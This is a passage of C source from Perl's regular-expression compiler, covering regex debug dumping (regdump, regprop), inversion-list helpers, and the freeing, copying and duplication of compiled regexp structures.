DEBUG_PARSE_MSG((scan==p ? "tsdy" : "")); regprop(RExC_rx, RExC_mysv, REGNODE_p(scan), NULL, pRExC_state); Perl_re_printf( aTHX_ "~ %s (%d) -> %s\n", SvPV_nolen_const(RExC_mysv), scan, PL_reg_name[exact]); }); if (temp == NULL) break; scan = REGNODE_OFFSET(temp); } DEBUG_PARSE_r({ DEBUG_PARSE_MSG(""); regprop(RExC_rx, RExC_mysv, REGNODE_p(val), NULL, pRExC_state); Perl_re_printf( aTHX_ "~ attach to %s (%" IVdf ") offset to %" IVdf "\n", SvPV_nolen_const(RExC_mysv), (IV)val, (IV)(val - scan) ); }); if (reg_off_by_arg[OP(REGNODE_p(scan))]) { assert((UV) (val - scan) <= U32_MAX); ARG_SET(REGNODE_p(scan), val - scan); } else { if (val - scan > U16_MAX) { /* Populate this with something that won't loop and will likely * lead to a crash if the caller ignores the failure return, and * execution continues */ NEXT_OFF(REGNODE_p(scan)) = U16_MAX; return FALSE; } NEXT_OFF(REGNODE_p(scan)) = val - scan; } return TRUE; /* Was 'return exact' */ } #endif STATIC SV* S_get_ANYOFM_contents(pTHX_ const regnode * n) { /* Returns an inversion list of all the code points matched by the * ANYOFM/NANYOFM node 'n' */ SV * cp_list = _new_invlist(-1); const U8 lowest = (U8) ARG(n); unsigned int i; U8 count = 0; U8 needed = 1U << PL_bitcount[ (U8) ~ FLAGS(n)]; PERL_ARGS_ASSERT_GET_ANYOFM_CONTENTS; /* Starting with the lowest code point, any code point that ANDed with the * mask yields the lowest code point is in the set */ for (i = lowest; i <= 0xFF; i++) { if ((i & FLAGS(n)) == ARG(n)) { cp_list = add_cp_to_invlist(cp_list, i); count++; /* We know how many code points (a power of two) that are in the * set. No use looking once we've got that number */ if (count >= needed) break; } } if (OP(n) == NANYOFM) { _invlist_invert(cp_list); } return cp_list; } /* - regdump - dump a regexp onto Perl_debug_log in vaguely comprehensible form */ #ifdef DEBUGGING static void S_regdump_intflags(pTHX_ const char *lead, const U32 flags) { int bit; int set=0; ASSUME(REG_INTFLAGS_NAME_SIZE <= sizeof(flags)*8); for (bit=0; bit<REG_INTFLAGS_NAME_SIZE; bit++) { if (flags & (1<<bit)) { if (!set++ && lead) Perl_re_printf( aTHX_ "%s", lead); Perl_re_printf( aTHX_ "%s ", PL_reg_intflags_name[bit]); } } if (lead) { if (set) Perl_re_printf( aTHX_ "\n"); else Perl_re_printf( aTHX_ "%s[none-set]\n", lead); } } static void S_regdump_extflags(pTHX_ const char *lead, const U32 flags) { int bit; int set=0; regex_charset cs; ASSUME(REG_EXTFLAGS_NAME_SIZE <= sizeof(flags)*8); for (bit=0; bit<REG_EXTFLAGS_NAME_SIZE; bit++) { if (flags & (1<<bit)) { if ((1<<bit) & RXf_PMf_CHARSET) { /* Output separately, below */ continue; } if (!set++ && lead) Perl_re_printf( aTHX_ "%s", lead); Perl_re_printf( aTHX_ "%s ", PL_reg_extflags_name[bit]); } } if ((cs = get_regex_charset(flags)) != REGEX_DEPENDS_CHARSET) { if (!set++ && lead) { Perl_re_printf( aTHX_ "%s", lead); } switch (cs) { case REGEX_UNICODE_CHARSET: Perl_re_printf( aTHX_ "UNICODE"); break; case REGEX_LOCALE_CHARSET: Perl_re_printf( aTHX_ "LOCALE"); break; case REGEX_ASCII_RESTRICTED_CHARSET: Perl_re_printf( aTHX_ "ASCII-RESTRICTED"); break; case REGEX_ASCII_MORE_RESTRICTED_CHARSET: Perl_re_printf( aTHX_ "ASCII-MORE_RESTRICTED"); break; default: Perl_re_printf( aTHX_ "UNKNOWN CHARACTER SET"); break; } } if (lead) { if (set) Perl_re_printf( aTHX_ "\n"); else Perl_re_printf( aTHX_ "%s[none-set]\n", lead); } } #endif void Perl_regdump(pTHX_ const regexp *r) { #ifdef DEBUGGING int i; SV * const sv = sv_newmortal(); SV *dsv= sv_newmortal(); RXi_GET_DECL(r, ri); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGDUMP; (void)dumpuntil(r, ri->program, ri->program + 1, NULL, NULL, sv, 0, 0); /* Header fields of interest. */ for (i = 0; i < 2; i++) { if (r->substrs->data[i].substr) { RE_PV_QUOTED_DECL(s, 0, dsv, SvPVX_const(r->substrs->data[i].substr), RE_SV_DUMPLEN(r->substrs->data[i].substr), PL_dump_re_max_len); Perl_re_printf( aTHX_ "%s %s%s at %" IVdf "..%" UVuf " ", i ? "floating" : "anchored", s, RE_SV_TAIL(r->substrs->data[i].substr), (IV)r->substrs->data[i].min_offset, (UV)r->substrs->data[i].max_offset); } else if (r->substrs->data[i].utf8_substr) { RE_PV_QUOTED_DECL(s, 1, dsv, SvPVX_const(r->substrs->data[i].utf8_substr), RE_SV_DUMPLEN(r->substrs->data[i].utf8_substr), 30); Perl_re_printf( aTHX_ "%s utf8 %s%s at %" IVdf "..%" UVuf " ", i ? "floating" : "anchored", s, RE_SV_TAIL(r->substrs->data[i].utf8_substr), (IV)r->substrs->data[i].min_offset, (UV)r->substrs->data[i].max_offset); } } if (r->check_substr || r->check_utf8) Perl_re_printf( aTHX_ (const char *) ( r->check_substr == r->substrs->data[1].substr && r->check_utf8 == r->substrs->data[1].utf8_substr ? "(checking floating" : "(checking anchored")); if (r->intflags & PREGf_NOSCAN) Perl_re_printf( aTHX_ " noscan"); if (r->extflags & RXf_CHECK_ALL) Perl_re_printf( aTHX_ " isall"); if (r->check_substr || r->check_utf8) Perl_re_printf( aTHX_ ") "); if (ri->regstclass) { regprop(r, sv, ri->regstclass, NULL, NULL); Perl_re_printf( aTHX_ "stclass %s ", SvPVX_const(sv)); } if (r->intflags & PREGf_ANCH) { Perl_re_printf( aTHX_ "anchored"); if (r->intflags & PREGf_ANCH_MBOL) Perl_re_printf( aTHX_ "(MBOL)"); if (r->intflags & PREGf_ANCH_SBOL) Perl_re_printf( aTHX_ "(SBOL)"); if (r->intflags & PREGf_ANCH_GPOS) Perl_re_printf( aTHX_ "(GPOS)"); Perl_re_printf( aTHX_ " "); } if (r->intflags & PREGf_GPOS_SEEN) Perl_re_printf( aTHX_ "GPOS:%" UVuf " ", (UV)r->gofs); if (r->intflags & PREGf_SKIP) Perl_re_printf( aTHX_ "plus "); if (r->intflags & PREGf_IMPLICIT) Perl_re_printf( aTHX_ "implicit "); Perl_re_printf( aTHX_ "minlen %" IVdf " ", (IV)r->minlen); if (r->extflags & RXf_EVAL_SEEN) Perl_re_printf( aTHX_ "with eval "); Perl_re_printf( aTHX_ "\n"); DEBUG_FLAGS_r({ regdump_extflags("r->extflags: ", r->extflags); regdump_intflags("r->intflags: ", r->intflags); }); #else PERL_ARGS_ASSERT_REGDUMP; PERL_UNUSED_CONTEXT; PERL_UNUSED_ARG(r); #endif /* DEBUGGING */ } /* Should be synchronized with ANYOF_ #defines in regcomp.h */ #ifdef DEBUGGING # if _CC_WORDCHAR != 0 || _CC_DIGIT != 1 || _CC_ALPHA != 2 \ || _CC_LOWER != 3 || _CC_UPPER != 4 || _CC_PUNCT != 5 \ || _CC_PRINT != 6 || _CC_ALPHANUMERIC != 7 || _CC_GRAPH != 8 \ || _CC_CASED != 9 || _CC_SPACE != 10 || _CC_BLANK != 11 \ || _CC_XDIGIT != 12 || _CC_CNTRL != 13 || _CC_ASCII != 14 \ || _CC_VERTSPACE != 15 # error Need to adjust order of anyofs[] # endif static const char * const anyofs[] = { "\\w", "\\W", "\\d", "\\D", "[:alpha:]", "[:^alpha:]", "[:lower:]", "[:^lower:]", "[:upper:]", "[:^upper:]", "[:punct:]", "[:^punct:]", "[:print:]", "[:^print:]", "[:alnum:]", "[:^alnum:]", "[:graph:]", "[:^graph:]", "[:cased:]", "[:^cased:]", "\\s", "\\S", "[:blank:]", "[:^blank:]", "[:xdigit:]", "[:^xdigit:]", "[:cntrl:]", "[:^cntrl:]", "[:ascii:]", "[:^ascii:]", "\\v", "\\V" }; #endif /* - regprop - printable representation of opcode, with run time support */ void Perl_regprop(pTHX_ const regexp *prog, SV *sv, const regnode *o, const regmatch_info *reginfo, const RExC_state_t *pRExC_state) { #ifdef DEBUGGING dVAR; int k; RXi_GET_DECL(prog, progi); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGPROP; SvPVCLEAR(sv); if (OP(o) > REGNODE_MAX) /* regnode.type is unsigned */ /* It would be nice to FAIL() here, but this may be called from regexec.c, and it would be hard to supply pRExC_state. */ Perl_croak(aTHX_ "Corrupted regexp opcode %d > %d", (int)OP(o), (int)REGNODE_MAX); sv_catpv(sv, PL_reg_name[OP(o)]); /* Take off const! */ k = PL_regkind[OP(o)]; if (k == EXACT) { sv_catpvs(sv, " "); /* Using is_utf8_string() (via PERL_PV_UNI_DETECT) * is a crude hack but it may be the best for now since * we have no flag "this EXACTish node was UTF-8" * --jhi */ pv_pretty(sv, STRING(o), STR_LEN(o), PL_dump_re_max_len, PL_colors[0], PL_colors[1], PERL_PV_ESCAPE_UNI_DETECT | PERL_PV_ESCAPE_NONASCII | PERL_PV_PRETTY_ELLIPSES | PERL_PV_PRETTY_LTGT | PERL_PV_PRETTY_NOCLEAR ); } else if (k == TRIE) { /* print the details of the trie in dumpuntil instead, as * progi->data isn't available here */ const char op = OP(o); const U32 n = ARG(o); const reg_ac_data * const ac = IS_TRIE_AC(op) ? (reg_ac_data *)progi->data->data[n] : NULL; const reg_trie_data * const trie = (reg_trie_data*)progi->data->data[!IS_TRIE_AC(op) ? n : ac->trie]; Perl_sv_catpvf(aTHX_ sv, "-%s", PL_reg_name[o->flags]); DEBUG_TRIE_COMPILE_r({ if (trie->jump) sv_catpvs(sv, "(JUMP)"); Perl_sv_catpvf(aTHX_ sv, "<S:%" UVuf "/%" IVdf " W:%" UVuf " L:%" UVuf "/%" UVuf " C:%" UVuf "/%" UVuf ">", (UV)trie->startstate, (IV)trie->statecount-1, /* -1 because of the unused 0 element */ (UV)trie->wordcount, (UV)trie->minlen, (UV)trie->maxlen, (UV)TRIE_CHARCOUNT(trie), (UV)trie->uniquecharcount ); }); if ( IS_ANYOF_TRIE(op) || trie->bitmap ) { sv_catpvs(sv, "["); (void) put_charclass_bitmap_innards(sv, ((IS_ANYOF_TRIE(op)) ? ANYOF_BITMAP(o) : TRIE_BITMAP(trie)), NULL, NULL, NULL, FALSE ); sv_catpvs(sv, "]"); } } else if (k == CURLY) { U32 lo = ARG1(o), hi = ARG2(o); if (OP(o) == CURLYM || OP(o) == CURLYN || OP(o) == CURLYX) Perl_sv_catpvf(aTHX_ sv, "[%d]", o->flags); /* Parenth number */ Perl_sv_catpvf(aTHX_ sv, "{%u,", (unsigned) lo); if (hi == REG_INFTY) sv_catpvs(sv, "INFTY"); else Perl_sv_catpvf(aTHX_ sv, "%u", (unsigned) hi); sv_catpvs(sv, "}"); } else if (k == WHILEM && o->flags) /* Ordinal/of */ Perl_sv_catpvf(aTHX_ sv, "[%d/%d]", o->flags & 0xf, o->flags>>4); else if (k == REF || k == OPEN || k == CLOSE || k == GROUPP || OP(o)==ACCEPT) { AV *name_list= NULL; U32 parno= OP(o) == ACCEPT ? (U32)ARG2L(o) : ARG(o); Perl_sv_catpvf(aTHX_ sv, "%" UVuf, (UV)parno); /* Parenth number */ if ( RXp_PAREN_NAMES(prog) ) { name_list= MUTABLE_AV(progi->data->data[progi->name_list_idx]); } else if ( pRExC_state ) { name_list= RExC_paren_name_list; } if (name_list) { if ( k != REF || (OP(o) < NREF)) { SV **name= av_fetch(name_list, parno, 0 ); if (name) Perl_sv_catpvf(aTHX_ sv, " '%" SVf "'", SVfARG(*name)); } else { SV *sv_dat= MUTABLE_SV(progi->data->data[ parno ]); I32 *nums=(I32*)SvPVX(sv_dat); SV **name= av_fetch(name_list, nums[0], 0 ); I32 n; if (name) { for ( n=0; n<SvIVX(sv_dat); n++ ) { Perl_sv_catpvf(aTHX_ sv, "%s%" IVdf, (n ? "," : ""), (IV)nums[n]); } Perl_sv_catpvf(aTHX_ sv, " '%" SVf "'", SVfARG(*name)); } } } if ( k == REF && reginfo) { U32 n = ARG(o); /* which paren pair */ I32 ln = prog->offs[n].start; if (prog->lastparen < n || ln == -1 || prog->offs[n].end == -1) Perl_sv_catpvf(aTHX_ sv, ": FAIL"); else if (ln == prog->offs[n].end) Perl_sv_catpvf(aTHX_ sv, ": ACCEPT - EMPTY STRING"); else { const char *s = reginfo->strbeg + ln; Perl_sv_catpvf(aTHX_ sv, ": "); Perl_pv_pretty( aTHX_ sv, s, prog->offs[n].end - prog->offs[n].start, 32, 0, 0, PERL_PV_ESCAPE_UNI_DETECT|PERL_PV_PRETTY_NOCLEAR|PERL_PV_PRETTY_ELLIPSES|PERL_PV_PRETTY_QUOTE ); } } } else if (k == GOSUB) { AV *name_list= NULL; if ( RXp_PAREN_NAMES(prog) ) { name_list= MUTABLE_AV(progi->data->data[progi->name_list_idx]); } else if ( pRExC_state ) { name_list= RExC_paren_name_list; } /* Paren and offset */ Perl_sv_catpvf(aTHX_ sv, "%d[%+d:%d]", (int)ARG(o),(int)ARG2L(o), (int)((o + (int)ARG2L(o)) - progi->program) ); if (name_list) { SV **name= av_fetch(name_list, ARG(o), 0 ); if (name) Perl_sv_catpvf(aTHX_ sv, " '%" SVf "'", SVfARG(*name)); } } else if (k == LOGICAL) /* 2: embedded, otherwise 1 */ Perl_sv_catpvf(aTHX_ sv, "[%d]", o->flags); else if (k == ANYOF) { const U8 flags = (OP(o) == ANYOFH) ? 0 : ANYOF_FLAGS(o); bool do_sep = FALSE; /* Do we need to separate various components of the output? */ /* Set if there is still an unresolved user-defined property */ SV *unresolved = NULL; /* Things that are ignored except when the runtime locale is UTF-8 */ SV *only_utf8_locale_invlist = NULL; /* Code points that don't fit in the bitmap */ SV *nonbitmap_invlist = NULL; /* And things that aren't in the bitmap, but are small enough to be */ SV* bitmap_range_not_in_bitmap = NULL; const bool inverted = flags & ANYOF_INVERT; if (OP(o) == ANYOFL || OP(o) == ANYOFPOSIXL) { if (ANYOFL_UTF8_LOCALE_REQD(flags)) { sv_catpvs(sv, "{utf8-locale-reqd}"); } if (flags & ANYOFL_FOLD) { sv_catpvs(sv, "{i}"); } } /* If there is stuff outside the bitmap, get it */ if (ARG(o) != ANYOF_ONLY_HAS_BITMAP) { (void) _get_regclass_nonbitmap_data(prog, o, FALSE, &unresolved, &only_utf8_locale_invlist, &nonbitmap_invlist); /* The non-bitmap data may contain stuff that could fit in the * bitmap. This could come from a user-defined property being * finally resolved when this call was done; or much more likely * because there are matches that require UTF-8 to be valid, and so * aren't in the bitmap. This is teased apart later */ _invlist_intersection(nonbitmap_invlist, PL_InBitmap, &bitmap_range_not_in_bitmap); /* Leave just the things that don't fit into the bitmap */ _invlist_subtract(nonbitmap_invlist, PL_InBitmap, &nonbitmap_invlist); } /* Obey this flag to add all above-the-bitmap code points */ if (flags & ANYOF_MATCHES_ALL_ABOVE_BITMAP) { nonbitmap_invlist = _add_range_to_invlist(nonbitmap_invlist, NUM_ANYOF_CODE_POINTS, UV_MAX); } /* Ready to start outputting. First, the initial left bracket */ Perl_sv_catpvf(aTHX_ sv, "[%s", PL_colors[0]); if (OP(o) != ANYOFH) { /* Then all the things that could fit in the bitmap */ do_sep = put_charclass_bitmap_innards(sv, ANYOF_BITMAP(o), bitmap_range_not_in_bitmap, only_utf8_locale_invlist, o, /* Can't try inverting for a * better display if there * are things that haven't * been resolved */ unresolved != NULL); SvREFCNT_dec(bitmap_range_not_in_bitmap); /* If there are user-defined properties which haven't been defined * yet, output them. If the result is not to be inverted, it is * clearest to output them in a separate [] from the bitmap range * stuff. If the result is to be complemented, we have to show * everything in one [], as the inversion applies to the whole * thing. Use {braces} to separate them from anything in the * bitmap and anything above the bitmap. */ if (unresolved) { if (inverted) { if (! do_sep) { /* If didn't output anything in the bitmap */ sv_catpvs(sv, "^"); } sv_catpvs(sv, "{"); } else if (do_sep) { Perl_sv_catpvf(aTHX_ sv,"%s][%s", PL_colors[1], PL_colors[0]); } sv_catsv(sv, unresolved); if (inverted) { sv_catpvs(sv, "}"); } do_sep = ! inverted; } } /* And, finally, add the above-the-bitmap stuff */ if (nonbitmap_invlist && _invlist_len(nonbitmap_invlist)) { SV* contents; /* See if truncation size is overridden */ const STRLEN dump_len = (PL_dump_re_max_len > 256) ? PL_dump_re_max_len : 256; /* This is output in a separate [] */ if (do_sep) { Perl_sv_catpvf(aTHX_ sv,"%s][%s", PL_colors[1], PL_colors[0]); } /* And, for easy of understanding, it is shown in the * uncomplemented form if possible. The one exception being if * there are unresolved items, where the inversion has to be * delayed until runtime */ if (inverted && ! unresolved) { _invlist_invert(nonbitmap_invlist); _invlist_subtract(nonbitmap_invlist, PL_InBitmap, &nonbitmap_invlist); } contents = invlist_contents(nonbitmap_invlist, FALSE /* output suitable for catsv */ ); /* If the output is shorter than the permissible maximum, just do it. */ if (SvCUR(contents) <= dump_len) { sv_catsv(sv, contents); } else { const char * contents_string = SvPVX(contents); STRLEN i = dump_len; /* Otherwise, start at the permissible max and work back to the * first break possibility */ while (i > 0 && contents_string[i] != ' ') { i--; } if (i == 0) { /* Fail-safe. Use the max if we couldn't find a legal break */ i = dump_len; } sv_catpvn(sv, contents_string, i); sv_catpvs(sv, "..."); } SvREFCNT_dec_NN(contents); SvREFCNT_dec_NN(nonbitmap_invlist); } /* And finally the matching, closing ']' */ Perl_sv_catpvf(aTHX_ sv, "%s]", PL_colors[1]); if (OP(o) == ANYOFH && FLAGS(o) != 0) { Perl_sv_catpvf(aTHX_ sv, " (First UTF-8 byte=\\x%02x)", FLAGS(o)); } SvREFCNT_dec(unresolved); } else if (k == ANYOFM) { SV * cp_list = get_ANYOFM_contents(o); Perl_sv_catpvf(aTHX_ sv, "[%s", PL_colors[0]); if (OP(o) == NANYOFM) { _invlist_invert(cp_list); } put_charclass_bitmap_innards(sv, NULL, cp_list, NULL, NULL, TRUE); Perl_sv_catpvf(aTHX_ sv, "%s]", PL_colors[1]); SvREFCNT_dec(cp_list); } else if (k == POSIXD || k == NPOSIXD) { U8 index = FLAGS(o) * 2; if (index < C_ARRAY_LENGTH(anyofs)) { if (*anyofs[index] != '[') { sv_catpvs(sv, "["); } sv_catpv(sv, anyofs[index]); if (*anyofs[index] != '[') { sv_catpvs(sv, "]"); } } else { Perl_sv_catpvf(aTHX_ sv, "[illegal type=%d])", index); } } else if (k == BOUND || k == NBOUND) { /* Must be synced with order of 'bound_type' in regcomp.h */ const char * const bounds[] = { "", /* Traditional */ "{gcb}", "{lb}", "{sb}", "{wb}" }; assert(FLAGS(o) < C_ARRAY_LENGTH(bounds)); sv_catpv(sv, bounds[FLAGS(o)]); } else if (k == BRANCHJ && (OP(o) == UNLESSM || OP(o) == IFMATCH)) { Perl_sv_catpvf(aTHX_ sv, "[%d", -(o->flags)); if (o->next_off) { Perl_sv_catpvf(aTHX_ sv, "..-%d", o->flags - o->next_off); } Perl_sv_catpvf(aTHX_ sv, "]"); } else if (OP(o) == SBOL) Perl_sv_catpvf(aTHX_ sv, " /%s/", o->flags ? "\\A" : "^"); /* add on the verb argument if there is one */ if ( ( k == VERB || OP(o) == ACCEPT || OP(o) == OPFAIL ) && o->flags) { if ( ARG(o) ) Perl_sv_catpvf(aTHX_ sv, ":%" SVf, SVfARG((MUTABLE_SV(progi->data->data[ ARG( o ) ])))); else sv_catpvs(sv, ":NULL"); } #else PERL_UNUSED_CONTEXT; PERL_UNUSED_ARG(sv); PERL_UNUSED_ARG(o); PERL_UNUSED_ARG(prog); PERL_UNUSED_ARG(reginfo); PERL_UNUSED_ARG(pRExC_state); #endif /* DEBUGGING */ } SV * Perl_re_intuit_string(pTHX_ REGEXP * const r) { /* Assume that RE_INTUIT is set */ struct regexp *const prog = ReANY(r); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_RE_INTUIT_STRING; PERL_UNUSED_CONTEXT; DEBUG_COMPILE_r( { const char * const s = SvPV_nolen_const(RX_UTF8(r) ? prog->check_utf8 : prog->check_substr); if (!PL_colorset) reginitcolors(); Perl_re_printf( aTHX_ "%sUsing REx %ssubstr:%s \"%s%.60s%s%s\"\n", PL_colors[4], RX_UTF8(r) ? "utf8 " : "", PL_colors[5], PL_colors[0], s, PL_colors[1], (strlen(s) > PL_dump_re_max_len ? "..." : "")); } ); /* use UTF8 check substring if regexp pattern itself is in UTF8 */ return RX_UTF8(r) ? prog->check_utf8 : prog->check_substr; } /* pregfree() handles refcounting and freeing the perl core regexp structure. When it is necessary to actually free the structure the first thing it does is call the 'free' method of the regexp_engine associated to the regexp, allowing the handling of the void *pprivate; member first. (This routine is not overridable by extensions, which is why the extensions free is called first.) See regdupe and regdupe_internal if you change anything here. */ #ifndef PERL_IN_XSUB_RE void Perl_pregfree(pTHX_ REGEXP *r) { SvREFCNT_dec(r); } void Perl_pregfree2(pTHX_ REGEXP *rx) { struct regexp *const r = ReANY(rx); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_PREGFREE2; if (! r) return; if (r->mother_re) { ReREFCNT_dec(r->mother_re); } else { CALLREGFREE_PVT(rx); /* free the private data */ SvREFCNT_dec(RXp_PAREN_NAMES(r)); } if (r->substrs) { int i; for (i = 0; i < 2; i++) { SvREFCNT_dec(r->substrs->data[i].substr); SvREFCNT_dec(r->substrs->data[i].utf8_substr); } Safefree(r->substrs); } RX_MATCH_COPY_FREE(rx); #ifdef PERL_ANY_COW SvREFCNT_dec(r->saved_copy); #endif Safefree(r->offs); SvREFCNT_dec(r->qr_anoncv); if (r->recurse_locinput) Safefree(r->recurse_locinput); } /* reg_temp_copy() Copy ssv to dsv, both of which should of type SVt_REGEXP or SVt_PVLV, except that dsv will be created if NULL. This function is used in two main ways. First to implement $r = qr/....; $s = $$r; Secondly, it is used as a hacky workaround to the structural issue of match results being stored in the regexp structure which is in turn stored in PL_curpm/PL_reg_curpm. The problem is that due to qr// the pattern could be PL_curpm in multiple contexts, and could require multiple result sets being associated with the pattern simultaneously, such as when doing a recursive match with (??{$qr}) The solution is to make a lightweight copy of the regexp structure when a qr// is returned from the code executed by (??{$qr}) this lightweight copy doesn't actually own any of its data except for the starp/end and the actual regexp structure itself. */ REGEXP * Perl_reg_temp_copy(pTHX_ REGEXP *dsv, REGEXP *ssv) { struct regexp *drx; struct regexp *const srx = ReANY(ssv); const bool islv = dsv && SvTYPE(dsv) == SVt_PVLV; PERL_ARGS_ASSERT_REG_TEMP_COPY; if (!dsv) dsv = (REGEXP*) newSV_type(SVt_REGEXP); else { assert(SvTYPE(dsv) == SVt_REGEXP || (SvTYPE(dsv) == SVt_PVLV)); /* our only valid caller, sv_setsv_flags(), should have done * a SV_CHECK_THINKFIRST_COW_DROP() by now */ assert(!SvOOK(dsv)); assert(!SvIsCOW(dsv)); assert(!SvROK(dsv)); if (SvPVX_const(dsv)) { if (SvLEN(dsv)) Safefree(SvPVX(dsv)); SvPVX(dsv) = NULL; } SvLEN_set(dsv, 0); SvCUR_set(dsv, 0); SvOK_off((SV *)dsv); if (islv) { /* For PVLVs, the head (sv_any) points to an XPVLV, while * the LV's xpvlenu_rx will point to a regexp body, which * we allocate here */ REGEXP *temp = (REGEXP *)newSV_type(SVt_REGEXP); assert(!SvPVX(dsv)); ((XPV*)SvANY(dsv))->xpv_len_u.xpvlenu_rx = temp->sv_any; temp->sv_any = NULL; SvFLAGS(temp) = (SvFLAGS(temp) & ~SVTYPEMASK) | SVt_NULL; SvREFCNT_dec_NN(temp); /* SvCUR still resides in the xpvlv struct, so the regexp copy- ing below will not set it. */ SvCUR_set(dsv, SvCUR(ssv)); } } /* This ensures that SvTHINKFIRST(sv) is true, and hence that sv_force_normal(sv) is called. */ SvFAKE_on(dsv); drx = ReANY(dsv); SvFLAGS(dsv) |= SvFLAGS(ssv) & (SVf_POK|SVp_POK|SVf_UTF8); SvPV_set(dsv, RX_WRAPPED(ssv)); /* We share the same string buffer as the original regexp, on which we hold a reference count, incremented when mother_re is set below. The string pointer is copied here, being part of the regexp struct. */ memcpy(&(drx->xpv_cur), &(srx->xpv_cur), sizeof(regexp) - STRUCT_OFFSET(regexp, xpv_cur)); if (!islv) SvLEN_set(dsv, 0); if (srx->offs) { const I32 npar = srx->nparens+1; Newx(drx->offs, npar, regexp_paren_pair); Copy(srx->offs, drx->offs, npar, regexp_paren_pair); } if (srx->substrs) { int i; Newx(drx->substrs, 1, struct reg_substr_data); StructCopy(srx->substrs, drx->substrs, struct reg_substr_data); for (i = 0; i < 2; i++) { SvREFCNT_inc_void(drx->substrs->data[i].substr); SvREFCNT_inc_void(drx->substrs->data[i].utf8_substr); } /* check_substr and check_utf8, if non-NULL, point to either their anchored or float namesakes, and don't hold a second reference. */ } RX_MATCH_COPIED_off(dsv); #ifdef PERL_ANY_COW drx->saved_copy = NULL; #endif drx->mother_re = ReREFCNT_inc(srx->mother_re ? srx->mother_re : ssv); SvREFCNT_inc_void(drx->qr_anoncv); if (srx->recurse_locinput) Newx(drx->recurse_locinput, srx->nparens + 1, char *); return dsv; } #endif /* regfree_internal() Free the private data in a regexp. This is overloadable by extensions. Perl takes care of the regexp structure in pregfree(), this covers the *pprivate pointer which technically perl doesn't know about, however of course we have to handle the regexp_internal structure when no extension is in use. Note this is called before freeing anything in the regexp structure. */ void Perl_regfree_internal(pTHX_ REGEXP * const rx) { struct regexp *const r = ReANY(rx); RXi_GET_DECL(r, ri); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGFREE_INTERNAL; if (! ri) { return; } DEBUG_COMPILE_r({ if (!PL_colorset) reginitcolors(); { SV *dsv= sv_newmortal(); RE_PV_QUOTED_DECL(s, RX_UTF8(rx), dsv, RX_PRECOMP(rx), RX_PRELEN(rx), PL_dump_re_max_len); Perl_re_printf( aTHX_ "%sFreeing REx:%s %s\n", PL_colors[4], PL_colors[5], s); } }); #ifdef RE_TRACK_PATTERN_OFFSETS if (ri->u.offsets) Safefree(ri->u.offsets); /* 20010421 MJD */ #endif if (ri->code_blocks) S_free_codeblocks(aTHX_ ri->code_blocks); if (ri->data) { int n = ri->data->count; while (--n >= 0) { /* If you add a ->what type here, update the comment in regcomp.h */ switch (ri->data->what[n]) { case 'a': case 'r': case 's': case 'S': case 'u': SvREFCNT_dec(MUTABLE_SV(ri->data->data[n])); break; case 'f': Safefree(ri->data->data[n]); break; case 'l': case 'L': break; case 'T': { /* Aho Corasick add-on structure for a trie node. Used in stclass optimization only */ U32 refcount; reg_ac_data *aho=(reg_ac_data*)ri->data->data[n]; #ifdef USE_ITHREADS dVAR; #endif OP_REFCNT_LOCK; refcount = --aho->refcount; OP_REFCNT_UNLOCK; if ( !refcount ) { PerlMemShared_free(aho->states); PerlMemShared_free(aho->fail); /* do this last!!!! */ PerlMemShared_free(ri->data->data[n]); /* we should only ever get called once, so * assert as much, and also guard the free * which /might/ happen twice. At the least * it will make code anlyzers happy and it * doesn't cost much. - Yves */ assert(ri->regstclass); if (ri->regstclass) { PerlMemShared_free(ri->regstclass); ri->regstclass = 0; } } } break; case 't': { /* trie structure. */ U32 refcount; reg_trie_data *trie=(reg_trie_data*)ri->data->data[n]; #ifdef USE_ITHREADS dVAR; #endif OP_REFCNT_LOCK; refcount = --trie->refcount; OP_REFCNT_UNLOCK; if ( !refcount ) { PerlMemShared_free(trie->charmap); PerlMemShared_free(trie->states); PerlMemShared_free(trie->trans); if (trie->bitmap) PerlMemShared_free(trie->bitmap); if (trie->jump) PerlMemShared_free(trie->jump); PerlMemShared_free(trie->wordinfo); /* do this last!!!! */ PerlMemShared_free(ri->data->data[n]); } } break; default: Perl_croak(aTHX_ "panic: regfree data code '%c'", ri->data->what[n]); } } Safefree(ri->data->what); Safefree(ri->data); } Safefree(ri); } #define av_dup_inc(s, t) MUTABLE_AV(sv_dup_inc((const SV *)s, t)) #define hv_dup_inc(s, t) MUTABLE_HV(sv_dup_inc((const SV *)s, t)) #define SAVEPVN(p, n) ((p) ? savepvn(p, n) : NULL) /* re_dup_guts - duplicate a regexp. This routine is expected to clone a given regexp structure. It is only compiled under USE_ITHREADS. After all of the core data stored in struct regexp is duplicated the regexp_engine.dupe method is used to copy any private data stored in the *pprivate pointer. This allows extensions to handle any duplication it needs to do. See pregfree() and regfree_internal() if you change anything here. */ #if defined(USE_ITHREADS) #ifndef PERL_IN_XSUB_RE void Perl_re_dup_guts(pTHX_ const REGEXP *sstr, REGEXP *dstr, CLONE_PARAMS *param) { dVAR; I32 npar; const struct regexp *r = ReANY(sstr); struct regexp *ret = ReANY(dstr); PERL_ARGS_ASSERT_RE_DUP_GUTS; npar = r->nparens+1; Newx(ret->offs, npar, regexp_paren_pair); Copy(r->offs, ret->offs, npar, regexp_paren_pair); if (ret->substrs) { /* Do it this way to avoid reading from *r after the StructCopy(). That way, if any of the sv_dup_inc()s dislodge *r from the L1 cache, it doesn't matter. */ int i; const bool anchored = r->check_substr ? r->check_substr == r->substrs->data[0].substr : r->check_utf8 == r->substrs->data[0].utf8_substr; Newx(ret->substrs, 1, struct reg_substr_data); StructCopy(r->substrs, ret->substrs, struct reg_substr_data); for (i = 0; i < 2; i++) { ret->substrs->data[i].substr = sv_dup_inc(ret->substrs->data[i].substr, param); ret->substrs->data[i].utf8_substr = sv_dup_inc(ret->substrs->data[i].utf8_substr, param); } /* check_substr and check_utf8, if non-NULL, point to either their anchored or float namesakes, and don't hold a second reference. */ if (ret->check_substr) { if (anchored) { assert(r->check_utf8 == r->substrs->data[0].utf8_substr); ret->check_substr = ret->substrs->data[0].substr; ret->check_utf8 = ret->substrs->data[0].utf8_substr; } else { assert(r->check_substr == r->substrs->data[1].substr); assert(r->check_utf8 == r->substrs->data[1].utf8_substr); ret->check_substr = ret->substrs->data[1].substr; ret->check_utf8 = ret->substrs->data[1].utf8_substr; } } else 